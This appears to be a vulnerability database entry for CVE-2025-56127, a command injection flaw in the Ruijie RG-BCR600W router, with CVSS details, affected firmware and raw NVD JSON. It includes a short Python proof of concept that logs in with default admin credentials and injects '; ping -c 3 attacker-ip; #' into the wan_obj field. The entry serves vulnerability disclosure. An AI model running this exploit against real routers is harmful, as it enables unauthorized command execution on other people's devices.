Security Vulnerability Report
中文
CVE-2025-56127 CVSS 8.8 HIGH

CVE-2025-56127

Published: 2025-12-11 19:15:58
Last Modified: 2025-12-18 02:08:54

Description

OS Command Injection vulnerability in Ruijie RG-BCR RG-BCR600W allowing attackers to execute arbitrary commands via a crafted POST request to the get_wanobj in file /usr/lib/lua/luci/controller/admin/common.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:rg-bcr600w_firmware:1.0.4.4468:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-bcr600w:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie RG-BCR600W 全部版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests target = "http://target-ip" login_data = { "username": "admin", "password": "admin" } session = requests.Session() session.post(f"{target}/cgi-bin/luci/api/login", data=login_data) cmd_injection_payload = { "wan_obj": "; ping -c 3 attacker-ip; #" } response = session.post( f"{target}/cgi-bin/luci/admin/common/get_wanobj", data=cmd_injection_payload ) print(f"Status: {response.status_code}") print(f"Response: {response.text}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56127", "sourceIdentifier": "[email protected]", "published": "2025-12-11T19:15:57.863", "lastModified": "2025-12-18T02:08:53.590", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie RG-BCR RG-BCR600W allowing attackers to execute arbitrary commands via a crafted POST request to the get_wanobj in file /usr/lib/lua/luci/controller/admin/common.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-bcr600w_firmware:1.0.4.4468:*:*:*:*:*:*:*", "matchCriteriaId": "F093ACC8-D010-4C91-BE66-DF0331C12C84"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-bcr600w:-:*:*:*:*:*:*:*", "matchCriteriaId": "F1DCDE78-994A-48E2-84E2-CD533863AC18"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/Evvem8Mw6SlNh-ZJpY_9SAsBq2iDi88TFdFdA1Am3PdfCQ?e=YeLYxb", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/EQkKqI8NW45AgBgScwGNiPABEK0YLvNQFgNtqLaWAhCPVw?e=cLDW5t", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56127.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}